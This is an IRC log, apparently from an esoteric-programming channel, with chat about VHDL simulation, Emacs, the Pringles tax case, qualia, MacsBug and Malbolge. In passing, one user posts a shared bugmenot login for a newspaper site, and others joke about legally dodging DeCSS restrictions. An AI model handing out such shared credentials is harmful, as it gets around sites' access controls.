17:35:40 <AnMaster> ais523, I thought you meant "using verilog for generating hardware that test other hardware"
17:35:43 <ais523> or nowadays, possibly SystemC, which is simulation only
17:35:55 <ais523> although, the simulator uses different parts of the language
17:35:57 <AnMaster> <ais523> yes, and the simulator would also be written in VHDL/Verilog <-- err?
17:36:07 <ais523> AnMaster: suppose you want to simulate VHDL code
17:36:13 <ais523> you write a testbench in VHDL
17:36:19 <ais523> and simulate the testbench + code combination
17:36:27 <ais523> the testbench can even throw errors when unexpected things happen
17:36:30 <ais523> and pipe output to a file
17:36:37 <ais523> it links into the program
17:36:52 <AnMaster> ais523, ok. So what bit runs the othermore simulator layer?
17:37:08 <ais523> you compile or interpret the VHDL
17:37:16 <ais523> so either you compile it and run the machine code, that's simulation
17:37:23 <ais523> or you interpret the VHDL, that's simulation
17:37:26 <ehird> I herd u liek testing hardware
17:37:33 <ehird> so I put a simulator in your hardware language
17:37:37 <ehird> so you can simulate while you simulate
17:37:44 <ais523> VHDL is incredibly yo dawg, yes
17:37:58 <ais523> it's not unknown to have five versions of the same program, all written in VHDL
17:38:03 <ais523> where the first was compiled into the second by hand
17:38:11 <ais523> which was compiled into the third/fourth/fifth automatically
17:38:15 <pikhq> Emacs' viper-mode is very weird.
17:38:24 <ehird> pikhq: it's kind of rubbish
17:38:30 <ehird> it just steals a few basic key combinations
17:38:34 <ehird> not the essence of vi
17:38:36 <ehird> which is the important bit
17:38:37 <pikhq> It's like: I herd u liek editing so I put an editor in your editor so you can edit while you edit.
17:38:43 <ehird> although the former follows the latter naturally
17:38:47 <pikhq> AnMaster: What, you think I'd *use* it?
17:38:50 <ais523> the fifth version would be a very low-level description of the hardware that would be produced
17:38:53 <ais523> with timing, and everything
17:39:10 <AnMaster> pikhq, I assumed you tried it since you were commenting on it...
17:39:14 <pikhq> Honestly, if I'm going to use a Vi-like, I'll just start up Vim.
17:39:22 <pikhq> Just saying it's very weird.
17:39:36 -!- bsmntbombdood has quit (Read error: 110 (Connection timed out)).
17:39:42 <pikhq> ... Start up Vim in terminal-mode. :p
17:40:13 <ais523> well, viper is Emacs advantages (modes, etc), with vi's controls
17:40:37 <pikhq> ais523: The two don't integrate very well.
17:40:50 <Deewiant> That, and they're vi's, not vim's.
17:42:12 <ehird> 17:39 AnMaster: pikhq, I assumed you tried it since you were commenting on it...
17:42:16 <ehird> i mentioned yo dawg, so.
17:42:28 <ehird> 17:40 ais523: well, viper is Emacs advantages (modes, etc), with vi's controls ← but vi's controls aren't important to the philosophy!
17:42:36 <ehird> if you start with vi's philosophy, you'll derive vi's controls
17:42:42 <ais523> viper-mode is Emacs' philosophy, but vi's controls
17:42:42 <ehird> but not the other way around
17:42:45 <AnMaster> ehird, "<ehird> i mentioned yo dawg, so." <-- was that directed to me? If so what do you mean.
17:42:47 <ais523> probably that's why it hasn't caught on
17:42:49 <ehird> ais523: yes, but nobody wants that!
17:42:56 <ehird> AnMaster: pikhq said viper was yo-dawg
17:42:59 <ehird> after me saying something else was
17:43:03 <ehird> i'm assuming that's why
17:53:45 <AnMaster> interesting fact about this ibook...
17:54:02 <AnMaster> when you are downloading something, don't do anything else... even moving the mouse slows down the download
17:54:24 <ais523> AnMaster: is it a network mouse?
17:54:54 * ais523 is not entirely sure network mice exist
17:55:03 <ais523> although I wouldn't be surprised if someone had invented them by now
17:55:05 <AnMaster> ais523, I never heard of it before
17:55:34 <ehird> hahaha, someone on a torrent site comments thing on a comment told someone obviously using a mac to delete hal.dll (vital windows dll)
17:56:05 <ais523> strange, hal is quite an important component of Linux too
17:56:11 <ais523> (it wouldn't be a dll in Windows)
17:56:26 <AnMaster> <ais523> strange, hal is quite an important component of Linux too <-- no?
17:56:39 <ais523> AnMaster: most distros use hal/hald nowadays
17:56:48 <ais523> and that's like saying a screen isn't system-critical
17:56:50 <AnMaster> ais523, yes but it isn't system critical actually
17:56:54 <ais523> it isn't, but most users want one anyway
17:57:02 <ehird> aaaah i love chiptunes
17:57:17 <ehird> AnMaster: x isn't system-critical either
17:57:25 <ehird> it's still an important component of a linux system
17:57:30 <AnMaster> ais523, system critical: init, libc, kernel, + whatever is needed to get you to a rescue shell
17:57:39 <ehird> rubbish definition
17:57:47 <AnMaster> I'm not saying that users wouldn't want to keep it.
17:57:51 -!- Corun has changed nick to Corun|away.
17:58:03 <ais523> aren't rescue shells statically-linked?
17:58:18 <AnMaster> ais523, they are. But I don't think init is
17:58:33 <ais523> AnMaster: init isn't system-critical anyway
17:58:39 <AnMaster> of course you could do init=/bin/bb in grub
17:58:41 <ais523> you can use any program you like as an init, via a boot option
18:02:11 <psygnisfive> ehird: only if it was someone who is of age!
18:02:19 <AnMaster> ehird, http://en.wikipedia.org/wiki/SuperDrive#Floppy_disk_drive
18:02:21 -!- Corun|away has changed nick to Corun.
18:02:29 <ehird> psygnisfive: Erm, no.
18:02:34 <ehird> Sex between two minors is illegal in the UK.
18:02:47 <ehird> Yeah. There's been prosecutions on it.
18:03:53 -!- whtspc has joined.
18:04:00 -!- whtspc has quit (Client Quit).
18:18:21 -!- Corun has changed nick to Corun|away.
18:31:04 -!- trainman419 has left (?).
18:40:29 -!- Corun|away has changed nick to Corun.
18:42:10 -!- KingOfKarlsruhe has quit (Remote closed the connection).
18:42:33 <ehird> "Britain’s Supreme Court of Judicature has answered a question that has long puzzled late-night dorm-room snackers: What, exactly, is a Pringle? With citations ranging from Baroness Hale of Richmond to Oliver Wendell Holmes, Lord Justice Robin Jacob concluded that, legally, it is a potato chip."
18:42:39 <ehird> Potatoless potato chip.
18:43:20 <ais523> why does it matter? tax reasons?
18:43:23 <pikhq> Interesting that it would be called a potato chip in Britain, given that they're crisps over there. :p
18:43:52 <ehird> http://www.nytimes.com/2009/06/01/opinion/01mon4.html?_r=1
18:43:53 <ais523> although we're aware of American names for things too
18:44:05 <ehird> pikhq: the most irritating thing is that you call chips fries and crisps chips
18:44:34 <ehird> "I'm eating chips." "Mm, potato." "Yeah, I love potato. These are Bacon flavored." "...wait, what?"
18:45:01 <ais523> "a Pringle is “made from potato flour in the sense that one cannot say that it is not made from potato flour, and the proportion of potato flour is significant being over 40 percent.”"
18:45:14 <ais523> AnMaster: tax on different products is at different rates
18:45:15 <AnMaster> ehird, you mean it is discountable, like for charities in US?
18:45:18 <ehird> ais523: this is a good time to make a quote:
18:45:21 <ehird> [[Why, according to Moore, is 'good' like 'yellow' and not like a 'horse'?]]
18:45:26 <ehird> AnMaster: most food is exempt, but crisps aren't.
18:45:35 <ais523> but I think it's VAT that matters here
18:45:39 <AnMaster> so did the tax go up or down now?
18:45:47 <ehird> for the record, the answer is that good and yellow are irreducible concepts while a horse is not.
18:46:09 <ais523> I know that when I needed to import some processors from the US, we had to prove they didn't have a calculator function
18:46:16 <ais523> to get a much lower import duty rate
18:46:21 <ais523> AnMaster: open in a different browser then
18:46:28 <ehird> AnMaster: it does that sometimes
18:46:30 <pikhq> ais523: ... Didn't have a calculator function?
18:46:31 <ehird> AnMaster: use bugmenot/bugmenot
18:46:39 <ehird> AnMaster: hmm, that one may be disabled
18:46:45 <ais523> hmm, well it isn't asking me to log in
18:46:53 <ehird> ais523: it sometimes does
18:46:57 <ehird> http://www.bugmenot.com/view/nytimes.com
18:47:02 <ais523> ehird: random, I wonder?
18:47:07 <ais523> also, wow at that bugmenot feature
18:47:07 <ehird> AnMaster: regisblows/whywhywhy
18:47:12 <ehird> ais523: what feature?
18:47:17 <ais523> I assumed the URL was an auto-login
18:47:21 <ais523> using one of the bugmenot accounts
18:47:29 <ais523> but it isn't, it's just giving you the username/password pair
18:47:36 <ais523> (I know about bugmenot, and have used it on occasion)
18:47:40 -!- jix_ has joined.
18:47:42 <ehird> ais523: there's a firefox extension
18:47:44 <ais523> (although normally I just avoid websites with stupid login requirements)
18:47:49 <ehird> you right click the user name field and hit bug me not
18:47:50 <ehird> and it submits the form
18:47:56 <AnMaster> ehird, maybe it doesn't like that I disable cookies...
18:48:00 <ais523> "He was even more dismissive of Procter & Gamble’s argument that to be taxable a product must contain enough potato to have the quality of “potatoness.” This “Aristotelian question” of whether a product has the “essence of potato,” he insisted, simply cannot be answered."
18:48:02 <ehird> AnMaster: nothing to do with that, I imagine
18:48:08 <AnMaster> ehird, since login doesn't work
18:48:13 <ehird> AnMaster: enable cookies, then
18:48:20 * ais523 wonders what affect disabling cookies would have on Phorm
18:48:30 <ehird> ais523: phorm use a complicated redirect scheme
18:48:35 <ehird> just every page redirects to another
18:48:38 <ehird> which redirects to another
18:48:38 <pikhq> ais523: I suppose next they'll start mentioning quales?
18:48:41 <ais523> they use a complicated redirect scheme /and/ cookies
18:48:57 <ehird> sounds like vanilla essence
18:49:13 <ehird> pikhq: it's qualia, you uncultured swine.
18:49:34 <pikhq> ehird: It's retarded, you cultured bourgeoise.
18:49:52 <ehird> pikhq: Your mom, proletarian.
18:50:16 <ehird> [[The inverted spectrum thought experiment, originally developed by John Locke[6] invites us to imagine that we wake up one morning, and find that for some unknown reason all the colors in the world have been inverted. Furthermore, we discover that no physical changes have occurred in our brains or bodies that would explain this phenomenon. Supporters of the existence of qualia argue that, since we can imagine this happening without contradiction]]
18:50:20 <ehird> that's such a retarded argument
18:50:26 <ehird> i can imagine a world where pigs fly without contradiction
18:50:32 <ehird> doesn't mean it's true
18:51:19 <ais523> umm... if all colours were inverted, how would we know they'd been inverted?
18:51:34 -!- kar8nga has joined.
18:51:36 <ehird> ais523: because yesterday we saw something as red and now it's green etc?
18:51:42 <ehird> i'd have thought that'd be pretty obvious
18:51:48 <ais523> how are red and green defined, though?
18:51:48 <Deewiant> The grass outside being red would make it rather obvious
18:51:57 <ehird> http://en.wikipedia.org/wiki/Qualia
18:52:01 <ais523> I suppose you'd need to use a prism or something to actually measure it
18:52:02 <ehird> that's the base of the whole argument
18:52:06 <ehird> ais523: unmeasurable
18:52:09 <ehird> it's about consciousness
18:52:17 <ais523> well, colour is measurable, so it's a bad analogy
18:52:27 <ehird> ais523: cf colourblind people
18:52:33 <ehird> they can measure colour all they want
18:52:37 <ehird> doesn't mean they can perceive their qualia
18:52:55 <ais523> well, everyone percieves colour differently anyway
18:53:10 <ehird> ais523: are you sure about that?
18:53:20 <ehird> ais523: I find that idea highly questionable
18:53:29 <ais523> ehird: because nobody has identical cone pigments, nor connections from the retina to the brain
18:53:42 <ehird> ais523: oh, you mean infinitesimally different
18:53:50 <ais523> well, sometimes it's more than infinitesimal
18:54:01 <ais523> you can find pairs of people where it's infinitesimal, and pairs where it's quite large
18:54:08 <psygnisfive> i enjoy the fact that a number of the anti-qualia people are well know, while the pro-qualia people are /completely/ random nobodies
18:54:08 <ais523> which is where the concept of red/brown colourblindness comes from
18:54:33 <ehird> My view of consciousness is it's the byproduct of the brain's mechanical thought process
18:54:44 <ehird> That doesn't explain what it actually *is*, but it explains what causes it.
18:55:16 <ehird> (I also believe that "death" is relative; you a second ago is dead, but our consciousness tries very hard to give a continuous experience. Go fig)
18:55:41 <psygnisfive> i think consciousness is the brains ability to include amongst its data-to-process the current state of its data-to-process
18:56:01 <ehird> psygnisfive: I am talking about the subjective, personal experience of consciousness
18:56:14 <ehird> I don't believe that consciousnesses are created, destroyed or anything
18:56:27 <ehird> I just believe a conscio is a byproduct of our brain thinking
18:56:38 <ehird> and consciousness is just the perceieved-as-continuous stream of conscios
18:56:45 <psygnisfive> i believe that the experience of consciousness is precisely the experience of being aware of the fact that youre aware of what you're aware of.
18:57:21 <ehird> psygnisfive: right; I'm not saying what the consciousness actually is, your theory is compatible
18:57:27 <ehird> I'm just saying how I think it comes by
18:57:57 <psygnisfive> consciousness explained discusses some interesting things
18:58:00 <ehird> no, dennett appears to be a quack :)
18:58:25 <ehird> dunno about that, I've heard some convincing arguments otherwise
18:58:49 <psygnisfive> they're often colored by misunderstanding or stupid.
18:59:31 <psygnisfive> unless youve actually read dennett, or seen him talk, or whatever, then you dont know what dennett says. you know what people say he says.
18:59:44 <ehird> rephrase #3: logically-based dissection using original data from source.
18:59:46 -!- jix has quit (Connection timed out).
19:00:07 <psygnisfive> admittedly, a lot of what he says is not intuitive at all
19:00:22 <psygnisfive> but its almost entirely based on facts of cognitive science, not on hypothesizing.
19:00:36 <psygnisfive> you really should read some of his stuff, if only to know what he himself is saying.
19:01:22 <ehird> by the same argument i should read every quack physics paper that has been dissected and disproved by people whose opinion I value to a degree
19:01:28 <ehird> because hey, they might just be right!112eleventy
19:02:08 <psygnisfive> except, daniel dennett is not a quack, and is probably one of the most important philosophers of mind today.
19:02:22 <ehird> important != not a quack
19:02:31 <ehird> there are plenty of important, popular people who are complete quacks.
19:02:45 <ehird> psygnisfive: also, do you realise you're being a hypocrite?
19:02:46 <psygnisfive> important DOES mean that you should give him some reading
19:02:51 <ehird> "don't rely on someone's opinion of another"
19:02:56 <ehird> "daniel dennett is not a quack"
19:03:09 <ehird> psygnisfive: shit, I have to read everyone who's important's work?
19:03:12 <ehird> my brain might melt
19:03:23 <psygnisfive> but youre saying hes a quack without knowing what he says
19:03:44 <ehird> i guess i mentally blocked the quotes from him in what I've read about him, then?
19:03:48 <ehird> impressive that I still understood
19:04:33 <ehird> i don't recall, surely you've realised that my memory is terrible?
19:04:41 <psygnisfive> since you're so sure you know what hes said, what did you find to be quacking
19:04:45 <ais523> http://law.onecle.com/california/civil/3548.html
19:05:01 <ehird> ais523: it's not even a requirement
19:05:05 <ehird> ais523: that voids the law
19:05:12 <ehird> it is an axiom that the law has been obeyed
19:05:18 <ais523> ehird: quite a few of the other rules around there are interesting too
19:05:18 <ehird> we judge the illegality of an action by the law
19:05:24 <ehird> since it says that the law has been obeyed,
19:05:31 <ais523> ehird: I think there's a loophole, it just means that at least one action hasn't been illegal
19:05:31 <ehird> nobody is ever guilty of the California Civil Code
19:05:38 -!- Hiato1 has joined.
19:05:41 <ehird> ais523: well, imagine:
19:05:46 <ehird> If a person steals, this law has been disobeyed.
19:05:47 <ais523> besides, is it even possible to "break" civil law?
19:06:00 <ehird> I was just using an example
19:06:37 <ehird> i don't actually understand civil law too much
19:07:07 <psygnisfive> civil law is just a bunch of people in the community think you're a jerk so you have to pay.
19:07:10 <ehird> Things happen according to the ordinary course of nature and
19:07:11 <ehird> the ordinary habits of life.
19:07:12 <ehird> A thing continues to exist as long as is usual with things of
19:07:19 <ehird> what the fuck is this code talking about
19:07:21 <ais523> yes, I've seen many of those
19:07:35 <ais523> there is an explanation in there somewhere, I think
19:07:37 <ais523> just not a very good one
19:07:41 <ehird> Where one of two innocent persons must suffer by the act of a
19:07:42 <ehird> third, he, by whose negligence it happened, must be the sufferer.
19:07:45 <ehird> it's a collection of proverbs!
19:07:57 <ehird> An interpretation which gives effect is preferred to one
19:08:03 <ehird> "this law has been obeyed" is effectively void
19:08:13 <ehird> if we say that it means it's been obeyed once
19:08:18 <ehird> and, at least, much more void than "it has been obeyed in this case"
19:08:38 <ais523> I would so love it if some lawyers tried to use those rules to throw out a civil case
19:08:46 <ais523> unfortunately, I think they're sufficiently self-contradictory that that wouldn't work
19:09:04 <ehird> [[Time does not confirm a void act.]]
19:09:18 <ehird> Time is cubic. 4-day harmonious rotation does not interfere.
19:09:25 -!- Hiato has quit (Read error: 104 (Connection reset by peer)).
19:09:25 <ehird> [[Superfluity does not vitiate.]]
19:09:29 <ehird> hahaha this is great
19:10:07 <pikhq> -1*-1=1 is learned stupid.
19:10:15 * ais523 posts the same link in ##nomic
19:11:06 -!- olsner has joined.
19:11:08 <ehird> conscio is such a nice word
19:11:18 <ehird> wonder it's conscios or consci?
19:11:31 <ehird> MacBUG - Macarthur Bicycle Users group redirect to http ...
19:11:32 <ehird> Bushwalking and social club based in the Macarthur District of NSW. Includes photos, news, tips, safety and events.
19:11:42 -!- impomatic has joined.
19:11:52 <AnMaster> ehird, A system level debugger from Apple. Useful even if you didn't debug on Pre OS X
19:12:13 <AnMaster> ehird, it was useful for normal users, because it made some crashes manage without reboot
19:12:18 <jix_> wasn't it called macbugs?
19:12:20 <AnMaster> you could kill the relevant app. Sometimes
19:12:29 <ais523> ehird: why did you pick out what's presumably an early Google result and assume it was correct, when it obviously wasn't?
19:12:38 <ais523> that's what AnMaster's supposed to do in response to you
19:12:42 <ehird> ais523: it was the first one, and no others referenced anything in particular
19:12:52 <ehird> ais523: so what he said was thoroughly unhelpful
19:12:52 <impomatic> Any new techniques for BF Joust over the last three days? I've been away.
19:12:59 <ehird> normally when he does it, it's on the same page
19:13:09 <ehird> macsbug returns a result
19:13:11 <jix_> AnMaster: ah just remembered that there was some strange s in there i always forgot
19:13:13 <ehird> MacsBug is an acronym for Motorola Advanced Computer Systems Debugger
19:13:14 <impomatic> Has anyone tried programming in the language of Tierra?
19:13:15 <ais523> the heap rules have changed, though
19:13:25 <ais523> and defend6/7 are winning
19:13:30 <ais523> even though I haven't resubmit them
19:13:32 <AnMaster> hc all says the heap of finder is corrupted
19:13:35 <ais523> presumably, everyone's using [-] nowadays
19:13:42 <AnMaster> only way to handle that is to reboot
19:14:12 <ehird> where's oerjan when you need him
19:14:17 <AnMaster> also in true apple style it has menus
19:14:29 <AnMaster> which work with built in mouse, but not usb ones connected
19:14:46 <ehird> AnMaster: for a logic question
19:14:56 <ais523> I had to REISUB earlier
19:15:06 <ais523> KDE crashed, nothing was working but the mouse pointer
19:15:07 <AnMaster> why did I get nostalgic over this old ibook today
19:15:17 <AnMaster> I remmeber it was your fault ehird. But I don't remember why
19:15:18 <ais523> not even control-alt-f1 (even after SysRq-R) or control-alt-backspace
19:15:23 <ais523> although reisub itself seemed to work fin
19:15:36 <ehird> AnMaster: large resolution for 12" screen
19:15:44 <impomatic> I'm trying to write a small efficient Tierra self-replicating program by hand.
19:15:46 <impomatic> I'm down to 22 instructions and 143 cycles.
19:15:55 <AnMaster> ehird, I upgraded it to 9.2.2 now
19:16:06 <ehird> AnMaster: stick linux on it
19:16:10 <ehird> always nice to have a computer
19:16:16 <AnMaster> ehird, I have booted it with gentoo once
19:16:24 <AnMaster> I only keep it for some old mac games
19:16:29 <ehird> AnMaster: compilation time would be prohibitive for gentoo
19:16:50 <AnMaster> ehird, would have to distcc to a cross toolchain on my pc
19:16:57 <ehird> AnMaster: or... use a binary distro
19:17:12 <ais523> why not just compile a cross-toolchain from scratch?
19:17:15 <ais523> you have gcc source, don't you?
19:17:18 <AnMaster> ehird, anyway that would be defeating the point.
19:17:19 -!- bsmntbombdood_ has joined.
19:17:22 <ehird> ais523: do you know what distcc is?
19:17:24 <AnMaster> ais523, .. you missed the point did you?
19:17:35 <ais523> ehird: no, I can guess but I might have guessed wrong
19:18:03 <ais523> well, if it's in your interest that I know what you're talking about, then you can tell me
19:18:09 <ais523> if it isn't, then we both have more important things to do
19:18:16 <AnMaster> ais523, it allows spreading compiles over several computers.
19:18:28 <ais523> AnMaster: ah, interesting
19:18:31 <ehird> AnMaster: oh, please don't feed his hate of using the web
19:18:34 <AnMaster> ais523, what did you think it was?
19:18:35 <ais523> what about make -jn? could it be modified to do that?
19:18:45 <AnMaster> ehird, I'm with ais523 here. Since I share this hate.
19:18:54 <AnMaster> ais523, that is the whole point of it...
19:18:59 <ais523> ehird: the Web is one of the most annoying and least useful parts of the Internet
19:19:05 <ais523> just people keep putting things there for some reason
19:19:19 <ais523> think about it this way: aren't you really annoyed when you phone someone and get an automated system?
19:19:25 <ehird> ais523: where do you think wikipedia belongs. Gopher
19:19:31 <ais523> now, would you rather have Google at the other end of the phone, or AnMaster?
19:19:34 <AnMaster> anyone remember good old NORTON Utilities. From before it was Symantec?
19:19:46 <ais523> actually, I have no idea how ehird would answer that question
19:19:49 <ehird> ais523: broken analogy
19:19:56 <ehird> the web is not like phoning up an automated system
19:19:57 <ais523> but it's still a good question
19:19:59 <ehird> so my answer is mu
19:20:06 <ais523> ehird: and no, it isn't; but it is if you use a search engine
19:20:07 <ehird> ais523: also, considering how much I argue with AnMaster, Google
19:20:45 -!- impomatic has left (?).
19:20:59 <AnMaster> Hit Cmd-Q to quit app. Get: "PowerPC unmapped memory exception at 3E217A40" in MacsBug
19:21:40 <ehird> "100dpi is Not Enough - Thursday 1 July, 2004"
19:21:49 <ehird> This person numbers all his years by subtracting 10 from them.
19:23:09 <AnMaster> Fun fact: MPW's "worksheet" is a mix between a shell and the "*scratch*" buffer in emacs...
19:23:24 <ehird> emacs *scratch* is a shell
19:23:27 <ais523> AnMaster: the *scratch* buffer in emacs is a mix between a shell and the *scratch* buffer in Emacs
19:23:43 <ehird> ais523: YOOOOOOOOOOOOOOOOOOOOOOOOOOOO DAAAAAAAAAAAAAAAAAAWWWWWWWWWWWWWWWWWGGGGGGGG
19:24:11 <ais523> it's meant to be true /and/ funny
19:25:24 <ais523> has anyone here tried the new Google Wave thing, btw?
19:25:36 <ais523> the descriptions remind me of some sort of ridiculously overcomplicated gobby
19:25:44 <ais523> only Google owns your data not you
19:25:48 <ais523> but I may have the wrong end of the stick
19:25:50 -!- Hiato1 has quit (Connection reset by peer).
19:25:53 <ehird> ais523: it's not that
19:26:12 <ehird> it's like gobby with IM client features that does any kind of data, not just text
19:26:19 <ehird> ais523: also, it's federated + open protocol
19:26:23 <ehird> you can run your own google wave server
19:26:30 <ehird> and communicate with people on other servers, including google's official one
19:26:41 <ehird> so you could do a google wave communication completely bypassing google
19:26:51 <ehird> I don't like the idea of people seeing what I type as I type it, so I wouldn't use it as IM
19:26:55 <ehird> but for collaboration, it could be interesting
19:27:09 <ais523> reminds me of Google Docs in that case
19:27:09 <AnMaster> <ais523> has anyone here tried the new Google Wave thing, btw? <-- what is it
19:27:15 <ehird> AnMaster: i just told you...
19:27:17 <ais523> AnMaster: read conversation?
19:27:25 <AnMaster> that is WORSE than googling ;P
19:27:27 <ehird> ais523: it's google docs, but with name tags, essentially
19:27:38 <ehird> AnMaster: so you want me to psychically tell you?
19:27:41 <ehird> ais523: and distributedness
19:27:46 <ais523> not a bad idea, really
19:27:56 <ehird> http://www.waveprotocol.org/draft-protocol-spec
19:27:57 <ais523> although it's one of those things where the amount of hype annoys me
19:28:01 <ehird> seems a bit incomplete
19:28:06 <ehird> ais523: tech media is bunk
19:28:06 <ais523> even if it's only a few millialphas
19:28:52 <ehird> i'm still trying to recover from the shock of someone in 2004 saying that 100dpi is low resolution
19:29:14 <ehird> (and trying to futz with values to figure out what their 150dpi screen was)
19:30:10 <ehird> can't be that, must be bigger
19:30:25 <ehird> 2048x1152 @ 19" is only 123dpi
19:30:55 <Asztal> what DPI do you use, anyway?
19:31:07 <ehird> pikhq: I'm trying to figure out what this 150dpi screen in 2004 was
19:31:08 <pikhq> That's just silly.
19:31:20 <ehird> Asztal: This iMac has a 20" @ 16something x 1050.
19:31:36 <ehird> I'm probably going for a 94-96dpi screen for my new box, due to ubiquityness.
19:31:45 <ehird> but in 2004, 30" displays were the hugest there ever was
19:31:50 <ehird> so I'm guessing 1x-2x
19:32:02 <ehird> plus a 150dpi 50" display would have to be a gazillion x a bajillion
19:32:04 <Deewiant> Isn't that still pretty much the hugest there is? :-P
19:32:10 <ehird> Deewiant: well, yeh
19:32:26 <ehird> 2560x1600 @ 20" = 150dpi
19:32:32 <Asztal> # 1920x1200 @ 15.4 Dell Inspiron 6000
19:32:47 <ehird> Asztal: SAME PPI CALCULATOR BUDDIES
19:33:21 <Asztal> ah, I figured you were just guessing :)
19:33:32 <ehird> Asztal: nope, I'm feeding values into it
19:34:10 <ehird> "I already run with Small Fonts on my 150ppi screen, and use 9pt for all my text editing."
19:34:17 <ehird> my consolation is that this guy is probably blind by now
19:34:29 <ehird> 21 characters per fucking inch
19:35:12 -!- Hiato has joined.
19:38:37 <ehird> Asztal: there should be one where you can put in a dpi and a screen size
19:38:41 <ehird> and it gives you the resolution
19:39:10 -!- tetha has joined.
19:40:33 <ehird> "McVities defended its classification of Jaffa Cakes as cakes. In doing so it produced a 12" Jaffa Cake to illustrate that its Jaffa Cakes were simply miniature cakes."
19:40:38 <ehird> Our logic is undeniable!
19:40:46 * ehird makes a 12" digestive biscuit
19:41:08 <Asztal> heh, I read that before too
19:41:18 <ehird> om nom nom nom nom
19:41:29 <ehird> hmm maybe the topic will put people off answering my his :)
19:41:41 <ehird> tetha: haven't seen your name around; you new?
19:42:02 <tetha> yep, learned about this channel earlier today and figured I'd take a look
19:42:17 <ehird> okay, um, I'd like to get this out of the way since it happens so often: we're about esoteric programming languages, not magic or witchcraft or anything of that sort
19:42:21 <ais523> here for esolang discussion, or the jousting?
19:42:22 <ehird> there, now we can all get on
19:42:37 <ehird> (yes, we do get people thinking that...)
19:42:39 <tetha> I certainly hope this is about sligtly less usable languages :)
19:42:50 <ehird> tetha: It depends on your definition of "slightly".
19:42:50 <ais523> slightly can be an understatement on occasiono
19:43:26 <ehird> It sounds like a good idea if only I knew what it meant.
19:43:42 <tetha> hehe... yes, malbolge is "slightly" unusable... sort of
19:43:48 -!- Hiato1 has joined.
19:44:14 <ehird> http://99-bottles-of-beer.net/language-malbolge-995.html
19:44:19 <ehird> i bet it only took a few months to write too
19:44:36 <FireFly> It's all pretty straight forward, isn't it?
19:44:51 <ehird> I mean, the squiggly bit there
19:44:56 <ehird> And the wave pattern there.
19:45:03 <ehird> Translates to "print out the 99 bottles of beer song".
19:45:10 <ehird> Yes, ladies and gentlemen; Malbolge is an elaborate hoax.
19:45:12 -!- Hiato has quit (Connection reset by peer).
19:45:18 <ehird> If you decode its spec and understand its very nature of working...
19:45:25 <ehird> It's just an obfuscated HQ9+.
19:45:36 <FireFly> Slereah_, now THAT would be difficult to understand
19:45:39 -!- oerjan has joined.
19:45:50 <ehird> FireFly: 99-bottles-of-beer.net/language-plain-english-1056.html
19:45:53 <ehird> 'Tis a real language
19:45:54 <ehird> http://99-bottles-of-beer.net/language-plain-english-1056.html
19:46:21 <ais523> Plain English is /awful/
19:46:27 <ais523> and apparently intended seriously
19:46:30 <ais523> meaking them even worse than us
19:46:31 -!- MizardX has quit ("from __future__ import skynet").
19:46:35 <oerjan> <ehird> where's oerjan when you need him
19:46:37 <ehird> ais523: we've proved it TC, iirc
19:46:40 <ais523> ehird: how does it compare to BancSTAR?
19:46:53 <ehird> ais523: oh, it's easier to program in
19:47:04 <ehird> but you just get going— yeah, i've read the manual, hey, this is working
19:47:09 <FireFly> I think I confused it with English (the esolang)
19:47:12 <ehird> ooh, a stupid restriction
19:47:18 <ehird> damn, how do I do this
19:47:19 -!- BeholdMyGlory has quit (Remote closed the connection).
19:47:21 <ehird> oh shit is THAT how that works?
19:47:24 <ehird> oh crap it doesn't extend to
19:47:27 <ehird> aaaaaaaaaaaaaaaaaaaaaarrrrrrrrrrrrrrrghhhhhhhhh!!!!
19:47:34 <ehird> Slereah_ can also attest to this
19:47:44 -!- Judofyr has joined.
19:47:56 <ehird> ais523: it doesn't help that the manual continually calls windows kludges and whores and generally harasses you
19:48:09 <ehird> *windows a kludge and a whore
19:48:16 <ehird> "Not to be confused with ENGLISH, a (non-esoteric) SQL-like programming language used in the old Pick operating system."
19:48:20 <ehird> I was so confusing it with that.
19:48:22 <ais523> well, if you've ever tried to program for Windows, you'll know the feeling
19:48:25 <ehird> (http://esolangs.org/wiki/English)
19:48:28 <ais523> but it isn't /quite/ as bad at that
19:49:42 <ais523> hmm... who was it here who was trying to write an esolang which was completely readable by a non-programmer, yet interpretable by an interp?
19:49:51 <ais523> they wanted to come up with the language first
19:49:55 <ehird> The osmosian order? :P
19:49:59 <ais523> then write DeCSS in it (legal, according to US precedent)
19:50:07 <ais523> then write the interp (thus retroactively making the program illegal)
19:50:37 <ehird> ais523: i don't think the program would become illegal
19:50:41 <ehird> if it was sufficiently english-like
19:50:49 <ais523> even if there's an interp?
19:50:57 <ehird> ais523: i can write an interpreter that interprets Macbeth
19:51:02 <ehird> as a DeCSS program
19:51:05 <ehird> without hardcoding it in particular
19:51:08 <ehird> does that make Macbeth illegal? No.
19:51:14 <ehird> of course, intent is everything
19:51:14 <ais523> ehird: that's an interesting point
19:51:18 <ais523> would the interp then be illegal, I wonder?
19:51:23 <ehird> so you might want to get someone to write decss and just suggest some quirks of language
19:51:24 <ais523> I suspect you'd have to deliberately aim for deCSS
19:51:26 <ehird> without telling them your plan
19:51:36 <ehird> ais523: not neccessarily
19:51:39 <ehird> in all likelihood, yes
19:51:41 <ehird> but theoretically, no
19:51:46 <oerjan> double, double, toil and trouble
19:52:47 <ais523> how's BF Joust getting on?
19:53:03 <ais523> I still don't get how a couple of my ancient programs are back at the top of the leaderboard, without me resubmitting
19:53:06 <ais523> even with all the rules changes
19:53:20 <pikhq> ais523: Well, someone has already devised a programming language for DeCSS. It has a DeCSS implemenation, but is not itself implemented...
19:53:37 <ais523> pikhq: is it HQ9+-style?
19:53:48 <pikhq> No. It's a C-like language.
19:53:54 <ais523> (even if not, we should /so/ add a DeCSS command to HQ9+...)
19:54:46 <ehird> The best of all worlds.
19:55:06 <oerjan> <ehird> he managed to put all the correct ones second <-- it did happen to be alphabetical order
19:55:25 <ais523> ehird: also, some people would disagree with you
19:55:32 <ais523> although I agree with you on the non-programming-related one
19:55:37 <ehird> ais523: unpossible
19:55:40 <ais523> back when I drank cola, I did prefer Pepsi to Coca-Cola
19:55:40 <ehird> i'm objectively right, always
19:55:47 <ais523> although I don't drink it nowadays
19:56:10 <AnMaster> <ehird> AnMaster: *reads <-- no. It was "has read"
19:56:17 <pikhq> http://www.cs.cmu.edu/~dst/DeCSS/Gallery/new-language.txt
19:56:19 <ehird> AnMaster: "I read" would work
19:56:23 <ehird> "AnMaster read" doesn't really
19:56:30 <ehird> AnMaster read works
19:56:32 <ehird> AnMaster read the convo now
19:56:36 <pikhq> Trivial to compile to C.
19:56:50 <pikhq> I mean, really, sed would do it...
19:57:00 -!- BeholdMyGlory has joined.
